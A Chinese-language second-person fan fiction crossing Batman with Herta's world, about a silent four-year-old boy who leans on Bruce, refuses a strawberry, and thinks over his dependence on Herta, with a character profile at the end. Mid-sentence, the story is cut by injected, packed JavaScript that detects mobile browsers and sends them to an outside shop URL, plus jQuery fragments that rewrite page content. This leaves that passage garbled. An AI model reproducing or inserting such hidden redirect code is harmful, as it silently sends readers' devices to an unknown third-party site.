你不想吃那颗草莓。
它红彤彤的，饱满，新鲜，叉在布鲁斯的叉子尖上，还沾着刚淋上去的蜂蜜。你看着它，像看着一颗被伪装成糖果的酸味炸弹。上次在公园里戴安娜给你买的那颗草莓，你咬下去的时候整张脸都皱在一起，眯成一条缝的眼睛差点挤出眼泪。你不喜欢酸的水果，不喜欢酸的东西，不喜欢任何需要皱眉才能咽下去的食物。但你对番茄没有意见，你只是不爱吃纯番茄——它在你的分类系统里有单独的标签，大脑帮你整理过偏好列表，草莓也在“拒绝”那一栏。
你仰起头，往布鲁斯怀里缩了缩。他的手臂环在你身侧，胸膛很宽，衬衫料子蹭着你的后脑勺。你往上靠着他，试图把自己挪出那颗草莓的攻击范围。草莓追着你，蜂蜜从果肉上滑下来，滴在你的嘴角。你闻到那股酸甜的气味，眉头皱了一下。然后你开口了。
“Bruce.”
这是你第一次叫他的名字。音节很轻，元音发得不算饱满，尾音被你吞掉了一点，像一颗从口袋里滚出来的糖。
然后你愣住了。
布鲁斯也愣住了。他的手停在半空，叉子尖上的草莓颤了一下，蜂蜜滴在你膝盖上的蝙蝠布偶翅膀上。他没有说话。他只是看着你，蓝眼睛里有一个很小很小的光点在晃动。
你低下头，躲开了他的视线。不是因为草莓。
黑塔喜欢你叫她姐姐。你第一次把这个词说出口的时候，练了整整三天的发音。对着镜子对口型，把舌头放在牙齿之间，控制气息不让尾音发颤。你说出来的时候她正在喝咖啡，杯子停在嘴边，看了你三秒，然后放下杯子揉了揉你的头发。
“发音很标准。”她说完就转身继续去调参数了。你不知道她是开心的还是仅仅在陈述事实。她很少在你面前流露很明显的情绪——不是不关心你，是她的关心不像别人那样放在脸上。她会在凌晨三点把你从实验室里拖出来，会把你论文里的错误用红字标得密密麻麻。她会为你解决麻烦。
你总是希望自己能和姐姐再像一点。多一点她那种漫不经心的自信，多一点她那种不被任何声音干扰的优雅。她从不在意别人对她的评价，从不怀疑自己的位置，从不担心任何人会离开。而你从学会第一个音调开始，就在担心自己会拖她的时间。
她的时间那么宝贵——空间站的会议、跨星系的课题、永远响个不停的通讯器。她把那么多时间花在给一个连话都说不清楚的小孩撕便签、回留言、破译拼写错误百出的草稿纸上。你不止一次问自己，你这么依赖她对吗？
你想要变得和她一样。这样你们之间那道无形的、说不清是什么的距离就能缩短一点。你不想永远是被照顾的那一个，不想每次她从实验台前起身向你走来，你都觉得自己在占用她的时间。你总觉你们的爱得隔着一层什么，像空间站的玻璃窗——看得见对方，但伸手触到的永远是冰凉的透明屏障。你总觉得她陪伴你的时间太少，然后又立刻指责自己。她在给你改代码，在帮你找矿区的替代坐标……你为什么要抱怨呢？
你的成长，在听懂他人话语这条路上，她的声音才是你真正渴望听见的。不是那个初始参数、那个基础框架——黑塔的名字不是你学会的第句话。但她是你学会倾听说出真正重要话语的第一人。她发现了你，她在孤儿院堆积如山的旧书后面找到了你，把你从那个所有声音都像隔着一层水膜的世界里拉出来，你被她拉入人间。
所以，你此刻为什么又对面前这个男人做出如此不成熟的行为呢。
你僵住了。布鲁斯感觉到你身体的变化——刚才还在他怀里缩着躲草莓的、软乎乎的、带着蜂蜜和体温气息的小小一团，忽然像被按下了暂停键。你的肩膀绷紧了，你的手从布偶翅膀上滑下来垂在身侧，你的呼吸变浅了。
你不知道自己为什么会想要紧靠着他的怀抱。是因为他身上有和黑塔完全不同的气味吗？西装与冷金属，和黑塔空间站里的咖啡香与三明治完全不同。
还是因为你能从他身上得到你想要的？那些你想从姐姐那里得到却从来不敢开口要的东西——太多时间，太近的距离，太久的注视。
你在向布鲁斯要一种你从来没向黑塔要过的东西。
这算不成熟吗？靠在一个人的怀里，叫他的名字，拒绝吃一颗你不喜欢的草莓。用你自己的身体语言说“我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17510731|202984||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
不要”。你总是把“我不要”翻译成沉默，把“我需要”译作被动地缩成一团。不给人添麻烦，不占用别人的时间，不让任何人觉得伊什塔尔是一道需要额外步骤的复杂方程。这是你给自己定的规则，不是黑塔定的。她从来没有要求你成为任何人。是你自己。
布鲁斯没有问你怎么了。他把叉子从草莓上移开，放在松饼碟边缘，用手背蹭掉你嘴角那滴蜂蜜。他的拇指很暖，力道很轻。然后他把你往怀里拢了一下——不是抱得更紧，只是让出一点角度，让你靠得更稳。他的下巴轻轻搁在你头顶“Bruce is here”.
他把你从那片记忆里捞出来.
你靠着他的胸口。他的心跳从后背传过来，很慢很稳，像一颗没有回头路的节拍器。那颗草莓安静地躺在松饼碟边缘，蜂蜜已经淌成了一小摊透明的金色，映出你膝盖上蝙蝠布偶歪着的影子。
你看着那颗被你拒绝的草莓。你没有吃它。你有权说不，但在过去你喜欢默默离开。
蜂蜜还在你嘴角留下了一点点黏黏的痕迹，布鲁斯擦掉的时候你没有躲开。他的手指和你自己会下意识绷紧的指尖不同，松开时还留了一点余温。你发现自己不知什么时候把布偶从膝盖上拿起来放在他臂弯上，而布偶的豆子眼正对着你，歪着，呆滞，什么都不在乎。你把布偶拿回来，用手指梳了梳它被你攥皱的绒布翅膀，又放回他的臂弯。
阿尔弗雷德不知什么时候退出了客厅。那碟松饼被换到了你能够到的茶几边缘，草莓被单独挪到了布鲁斯的盘子角落，和你的甜点之间隔着一整块松饼的距离。蜂蜜罐留在了茶几上。
你只觉得此刻很奇怪。
……
［档案：伊什塔尔］——
描述：一个四岁的亚洲混血小男孩，黑色头发金色眼睛。
特殊：1.没有搭建完整的语言系统。2.过分安静。
性格：安静，喜欢他人的接触。
特殊状态的原因（猜测）：1.“楚门世界”2.“囚禁”
内容补充：1.似乎有情感创伤环节 。2.下意识的想依赖又自我怀疑（疑似少与他人亲密过）